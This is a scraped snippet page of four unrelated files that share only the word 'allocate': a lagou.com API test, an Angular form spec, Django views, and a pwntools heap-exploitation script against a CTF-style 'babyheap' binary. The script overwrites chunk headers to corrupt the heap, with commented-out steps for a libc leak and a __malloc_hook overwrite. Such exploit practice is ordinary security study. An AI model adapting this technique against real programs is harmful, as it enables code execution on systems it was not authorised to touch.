How to use allocate method in Slash

Best Python code snippet using slash

Batch_Allocation.py

Source:Batch_Allocation.py Github

copy

Full Screen

1#批量分配2import json3from api_script.business.sub_account import get_user_goods_info, get_userId4from utils.BeautifulSoup import exist_class_name5from utils.util import login,get_requests,form_post,get_code_token,gethtml,assert_equal6import logging7logging.getLogger().setLevel(logging.INFO)8# username = 201812059# login("00852", username)10#查看是否出现可以批量分配11def batch_allocation(userId_list):12 userId_list = [str(y) for y in userId_list]13 headerurl="https://easy.lagou.com/subAccount/queryAcount/index.htm"14 header = get_code_token(headerurl)15 jsonobject = get_requests(url="https://easy.lagou.com/subAccount/queryAcount.json?pageNo=1&pageSize=7&keyword=",remark="获取当前有几个子账号")16 childaccount = jsonobject['content']['data']['subAcccountPage']['totalCount']17 # childaccount=jsonobject.get("content").get("data").get("subAcccountPage").get("totalCount")18 print('当前有' + str(childaccount) + '个子账号')19 if childaccount < 2:20 #b=exist_class_name("https://easy.lagou.com/subAccount/queryAcount/index.htm")21 b=gethtml("https://easy.lagou.com/subAccount/queryAcount/index.htm")22 a=exist_class_name(b,"batch-handle-btn ")23 assert_equal(True,a,"没有出现批量分配","出现了批量分配")24 while childaccount < 2:25 add1=form_post(url="https://easy.lagou.com/subAccount/addAcount.json",data={'userId':userId_list[0]},remark="添加子账号",headers=header)26 add1=form_post(url="https://easy.lagou.com/subAccount/addAcount.json",data={'userId':userId_list[1]},remark="添加子账号",headers=header)27 jsonobject = get_requests(url="https://easy.lagou.com/subAccount/queryAcount.json?pageNo=1&pageSize=7&keyword=",remark="获取当前有几个子账号")28 childaccount = jsonobject['content']['data']['subAcccountPage']['totalCount']29 print('添加后' + str(childaccount) + '个子账号')30 b=gethtml("https://easy.lagou.com/subAccount/queryAcount/index.htm")31 a=exist_class_name(b,"batch-handle-btn ")32 assert_equal(False,a,"出现了批量分配,正确","没有出现了批量分配,失败")33 else:34 b=gethtml("https://easy.lagou.com/subAccount/queryAcount/index.htm")35 a=exist_class_name(b,"batch-handle-btn ")36 print(a)37 assert_equal(False,a,"出现了批量分配按钮","没有出现批量分配按钮")38'''391、批量分配402、验证是否分配成功41'''42def batchAllocate(userId_list, user_goods_info):43 goods_list = user_goods_info[userId_list[0]][2]44 goods_list = [str(x) for x in goods_list]45 userId_list = [str(y) for y in userId_list]46 headerurl="https://easy.lagou.com/subAccount/queryAcount/index.htm"47 header = get_code_token(headerurl)48 batchAllocate_url="https://easy.lagou.com/userGoodsRecord/batchAllocate"49 batchAllocate_Data={"allocateInfo":[{"userId":userId_list[0],"allocateDetail":[{"baseGoodsId":goods_list[0],"allocateNum":"1"},50 {"baseGoodsId":goods_list[1],"allocateNum":"1"},51 {"baseGoodsId":goods_list[2],"allocateNum":"1"},52 {"baseGoodsId":goods_list[3],"allocateNum":"1"}]},53 # {"baseGoodsId":"614","allocateNum":"1"}]},54 {"userId":userId_list[1],"allocateDetail":[{"baseGoodsId":goods_list[0],"allocateNum":"1"},55 {"baseGoodsId":goods_list[1],"allocateNum":"1"},56 {"baseGoodsId":goods_list[2],"allocateNum":"1"},57 {"baseGoodsId":goods_list[3],"allocateNum":"1"}]}]}58 # {"baseGoodsId":"614","allocateNum":"1"}]}]}59 batchAllocate_Data["allocateInfo"] = json.dumps(batchAllocate_Data["allocateInfo"])60 jsonobject =form_post(url=batchAllocate_url,remark="批量分配每个用户1个",data=batchAllocate_Data,headers=header)61 actualvalue=jsonobject.get("message")62 assert_equal("批量分配成功",actualvalue,"批量分配成功","批量分配失败")63 headerurl="https://easy.lagou.com/subAccount/queryAcount/index.htm"64 header = get_code_token(headerurl)65 batchAllocate_url="https://easy.lagou.com/userGoodsRecord/batchAllocate"66 batchAllocate_Data={"allocateInfo":[{"userId":userId_list[0],"allocateDetail":[{"baseGoodsId":goods_list[0],"allocateNum":"9999"},67 {"baseGoodsId":goods_list[1],"allocateNum":"1"},68 {"baseGoodsId":goods_list[2],"allocateNum":"1"},69 {"baseGoodsId":goods_list[3],"allocateNum":"1"}]},70 # {"baseGoodsId":"614","allocateNum":"1"}]},71 {"userId":userId_list[1],"allocateDetail":[{"baseGoodsId":goods_list[0],"allocateNum":"1"},72 {"baseGoodsId":goods_list[1],"allocateNum":"1"},73 {"baseGoodsId":goods_list[2],"allocateNum":"1"},74 {"baseGoodsId":goods_list[3],"allocateNum":"1"}]}]}75 # {"baseGoodsId":"614","allocateNum":"1"}]}]}76 batchAllocate_Data["allocateInfo"] = json.dumps(batchAllocate_Data["allocateInfo"])77 jsonobject =form_post(url=batchAllocate_url,remark="批量分配每个用户1个",data=batchAllocate_Data,headers=header)78 actualvalue=jsonobject.get("message")79 assert_equal("批量分配异常批量分配失败,子账号需要分配的"+str(goods_list[0])+"权益总数大于父账号的剩余数量",actualvalue,"大于可分配数量,后台不允许分配","批量分配失败")80# #batchAllocate()81# userinfo = get_userId()82# print(userinfo)83#84# user_goods_info = get_user_goods_info(userinfo)85# goods_list = user_goods_info[userinfo[0]][2]86# print(goods_list)87# # print(r)88#89# userId_list = [100014642, 100014643]...

Full Screen

Full Screen

allocate.component.spec.ts

Source:allocate.component.spec.ts Github

copy

Full Screen

1import { async, ComponentFixture, TestBed } from '@angular/core/testing';2import { AllocateComponent } from '../allocate/allocate.component';3import { FormsModule, ReactiveFormsModule } from '@angular/forms';4import { AllocateServiceService } from '../allocate/allocate-service.service';5import { HttpClientModule } from '../../../node_modules/@angular/common/http';6import { of, throwError } from 'rxjs';7class AllocateStub {8 allocateUrl;9 getData(data) {10 return {};11 };12}13describe('AllocateComponent', () => {14 let component: AllocateComponent;15 let fixture: ComponentFixture<AllocateComponent>;16 let allocateService: AllocateServiceService;17 beforeEach(async(() => {18 TestBed.configureTestingModule({19 declarations: [ AllocateComponent ],20 imports: [ FormsModule, ReactiveFormsModule, HttpClientModule ],21 providers: [ {provide: AllocateServiceService, useClass: AllocateStub} ]22 // providers: [AllocateServiceService]23 })24 .compileComponents();25 }));26 beforeEach(() => {27 fixture = TestBed.createComponent(AllocateComponent);28 component = fixture.componentInstance;29 fixture.detectChanges();30 // component.ngOnInit();31 allocateService = TestBed.get(AllocateServiceService);32 });33 it('should be created', () => {34 expect(component).toBeTruthy();35 });36 it('form invalid when empty', () => {37 expect(component.allocateForm.valid).toBeFalsy();38 });39 it('distributor name field validity', () => {40 let errors = {};41 let distributorName = component.allocateForm.controls['distributorName'];42 expect(distributorName.valid).toBeFalsy();43 // Distributor Name field is required44 errors = distributorName.errors || {};45 expect(errors['required']).toBeTruthy();46 });47 it('purchase date field validity', () => {48 let errors = {};49 let purchaseDate = component.allocateForm.controls['purchaseDate'];50 expect(purchaseDate.valid).toBeFalsy();51 // Distributor Name field is required52 errors = purchaseDate.errors || {};53 expect(errors['required']).toBeTruthy();54 });55 it('installation date field validity', () => {56 let errors = {};57 let installationDate = component.allocateForm.controls['installationDate'];58 expect(installationDate.valid).toBeFalsy();59 // Distributor Name field is required60 errors = installationDate.errors || {};61 expect(errors['required']).toBeTruthy();62 });63 it('customer Id field validity', () => {64 let errors = {};65 let customerId = component.allocateForm.controls['customerId'];66 expect(customerId.valid).toBeFalsy();67 // Distributor Name field is required68 errors = customerId.errors || {};69 expect(errors['required']).toBeTruthy();70 });71 it('submitting a form when all the field is entered', () => {72 expect(component.allocateForm.valid).toBeFalsy();73 component.allocateForm.controls['distributorName'].setValue("A4solar");74 component.allocateForm.controls['purchaseDate'].setValue("Mon Jan 04 2020 11:30:54 GMT+0530 (India Standard Time)");75 component.allocateForm.controls['installationDate'].setValue("Mon Jan 11 2020 11:30:54 GMT+0530 (India Standard Time)");76 component.allocateForm.controls['customerId'].setValue("1001");77 expect(component.allocateForm.valid).toBeTruthy();78 });79 it('should invoke service on submitting the form', () => {80 // const formValue = {81 // value: {82 // distributorName : 'A4solar',83 // purchaseDate : new Date(2019, 11, 4, 20, 32, 30, 0),84 // installationDate : new Date(2019, 11, 12, 20, 32, 30, 0),85 // customerId : 100186 // }87 // };88 component.allocateForm.controls['distributorName'].setValue("A4solar");89 component.allocateForm.controls['purchaseDate'].setValue("Mon Jan 04 2020 11:30:54 GMT+0530 (India Standard Time)");90 component.allocateForm.controls['installationDate'].setValue("Mon Jan 11 2020 11:30:54 GMT+0530 (India Standard Time)");91 component.allocateForm.controls['customerId'].setValue("1001");92 const spy = spyOn(allocateService, 'getData').and.returnValue(of({message: 'Solar Heater 2006 successfully allocated to customer 1005'}));93 allocateService.getData(component.allocateForm.value)94 component.register();95 expect(spy).toHaveBeenCalledWith(component.allocateForm.value);96 expect(component.successMessage).toEqual('Solar Heater 2006 successfully allocated to customer 1005');97 });98 it('should display error message submitting the form', () => {99 spyOn(allocateService, 'getData').and.returnValue(throwError({error: {message: 'Customer ID already taken'}}));100 component.register();101 expect(component.errorMessage).toEqual('Customer ID already taken');102 });...

Full Screen

Full Screen

babyheap_pwn.py

Source:babyheap_pwn.py Github

copy

Full Screen

...9def s(b: bytes) -> str:10 return b.decode('utf8')11def prints(b: bytes):12 print(s(b))13def allocate(size: int):14 prints(target.recvuntil(b'Command:'))15 target.sendline(b'1')16 target.sendline(b(str(size)))17def fill(index: int, payload: bytes):18 prints(target.recvuntil(b'Command:'))19 target.sendline(b'2')20 target.sendline(b(str(index)))21 target.sendline(b(str(len(payload))))22 target.send(payload)23def free(index: int):24 prints(target.recvuntil(b'Command:'))25 target.sendline(b'3')26 target.sendline(b(str(index)))27def dump(index: int):28 prints(target.recvuntil(b'Command:'))29 target.sendline(b'4')30 target.sendline(b(str(index)))31 prints(target.recvuntil(b'Content: \n'))32 line = target.recvline()33 return line34def exit():35 prints(target.recvuntil(b'Command:'))36 target.sendline(b'5')37def fill_tcache(size):38 for i in range(7):39 allocate(size)40 for i in range(7):41 free(i)42# fill tcache43fill_tcache(0x10)44fill_tcache(0x30)45fill_tcache(0x60)46fill_tcache(0x70)47fill_tcache(0xf0)48allocate(0x30) # differs from tutorial, in order to overwrite header of memory chunk below49allocate(0xf0)50allocate(0x70)51allocate(0xf0)52allocate(0x30)53fill(0, b'\x42'*0x30) # id 054fill(1, b'0'*0xf0) # id 155fill(2, b'1'*0x70) # id 256fill(3, b'2'*0xf0) # id 357fill(4, b'3'*0x30) # id 458free(1)59free(2)60allocate(0x78) # id 161fill(1, b'4'*0x70+p.p64(0x180)+p.p64(0x100)) # overwrite header of id 362fill(0, b'\x42'*0x30+p.p64(0x0)+p.p64(0x181)) # overwrite header of id 1 so we pass a check when we free id 2 later63free(3)64# allocate(0xf0)65# fill(2, b'5'*0x50)66# # the leak will correspond to <main_arena+96>67# main_arena_leak = dump(1)68# main_arena_leak = p.u64(main_arena_leak[:8])69# print('leak:', hex(main_arena_leak))70# libc_base = main_arena_leak - elf.symbols['__malloc_hook'] - 0x7071# print('libc_base:', hex(libc_base))72# gadget = libc_base + 0xe6c7e73# print('gadget:', hex(gadget))74# malloc_hook = libc_base + elf.symbols['__malloc_hook']75# fake_chunk = malloc_hook - 0x10 # take headers in account76# print('fake_chunk:', hex(fake_chunk))77# # At this point we have78# # 0x30: id 0. contains \x42, used to overwrite next chunk's headers79# # 0xf0: id 2. (will soon be removed for rearrangement)80# # 0x78: id 1. contains 4, is considered as freed81# # 0xf0:82# # 0x30: id 483# # As per the tutorial, we will reorganize the memory84# # 0x30: id 085# # 0x10: id 286# # 0x60: id 387# # 0x60: id 588# # 0x78: id 1 & 689# # 0xf0:90# # 0x30: id 491# free(2) # free to make place for heap rearrangement92# allocate(0x10) # id 293# allocate(0x60) # id 394# allocate(0x60) # id 595# allocate(0x60) # id 696# # we should have same output for id 1 & 697# fill(6, b'Hello there')98# print('Index 1:', dump(1))99# print('Index 6:', dump(6))100# free(6)101# free(5)102# free(1)103# allocate(0x60) # id 1104# allocate(0x60) # id 5105# fill(1, p.p64(fake_chunk) + p.p64(0) + b'y'*0x50)106# allocate(0x60) # id 6107# # should have worked at this point but for the index check on recent libc108# # allocate(0x60) # id 7, used to overwrite malloc_hook109# # fill(7, b'z'*0x13 + p.p64(gadget))110# # target.sendline(b'1')111# # target.sendline(b'2')...

Full Screen

Full Screen

views.py

Source:views.py Github

copy

Full Screen

...41 messages.success(self.request,'allocate updated successfully')42 return redirect('allocate:index')434445def delete_allocate(request,id):46 allocate=Allocate.objects.filter(id=id)47 room_id=allocate[0].room.id48 room_level=allocate[0].room.level49 room_level-=150 Room.objects.filter(id=room_id).update(level=room_level)51 allocate.delete()52 messages.success(request,'allocate deleted successfully')53 return redirect('allocate:index')54555657def approve_allocate(request,id):58 allocate=Allocate.objects.filter(id=id)59 allocate.update(is_approved=True)60 messages.success(request,f'You have approve {allocate[0].user} successfully')61 return redirect('allocate:index')6263def undo_approve_allocate(request,id):64 allocate=Allocate.objects.filter(id=id)65 allocate.update(is_approved=False)66 messages.success(request,f'You have disqualified {allocate[0].user} successfully')67 return redirect('allocate:index')68697071 ...

Full Screen

Full Screen

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.

LambdaTest Learning Hubs:

YouTube

You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.

Run Slash automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful